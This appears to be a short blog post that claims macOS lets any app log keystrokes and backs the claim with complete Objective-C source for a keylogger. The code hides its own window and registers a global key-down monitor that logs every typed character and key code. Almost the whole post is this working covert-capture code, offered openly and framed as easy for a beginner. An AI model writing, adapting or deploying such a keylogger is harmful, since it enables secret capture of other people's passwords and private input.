How secure is your operating system? On Mac Os X all your keystrokes can be logged with a utility written by Objective C first-timer without any concerns.

AppDelegate.h

#import <Cocoa/Cocoa.h>

static id monitorKeyDown;

@interface AppDelegate : NSObject <NSApplicationDelegate>

@property (assign) IBOutlet NSWindow *window;

@end

AppDelegate.m

#import "AppDelegate.h"

@implementation AppDelegate

- (void)applicationDidFinishLaunching:(NSNotification *)aNotification
{
    [self.window setIsVisible:NO];
    
    monitorKeyDown = [NSEvent addGlobalMonitorForEventsMatchingMask:NSKeyDownMask handler:^(NSEvent *event) {
        NSLog([NSString stringWithFormat:@"Key down: %@ (key code %d)", [event characters], [event keyCode]]);
    }];
}

@end

main.m

#import <Cocoa/Cocoa.h>

int main(int argc, char *argv[])
{
    return NSApplicationMain(argc, (const char **)argv);
}